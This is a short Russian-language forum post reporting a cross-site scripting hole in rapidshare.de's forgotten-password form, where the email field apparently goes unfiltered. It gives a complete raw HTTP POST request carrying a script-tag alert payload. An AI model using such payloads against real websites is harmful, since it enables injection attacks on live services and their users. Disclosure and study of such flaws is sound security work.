Xss на rapidshare.de
http://rapidshare.de/en/forgotpw.html
Не фильтруется поле email.

POST rapidshare.de/cgi-bin/forgotpw.cgi HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: rapidshare.de
Content-Length: 65
Connection: Close
Pragma: no-cache

email=<script>alert('XSS')%3B</script>

__________________

Завтра будет.Лучше.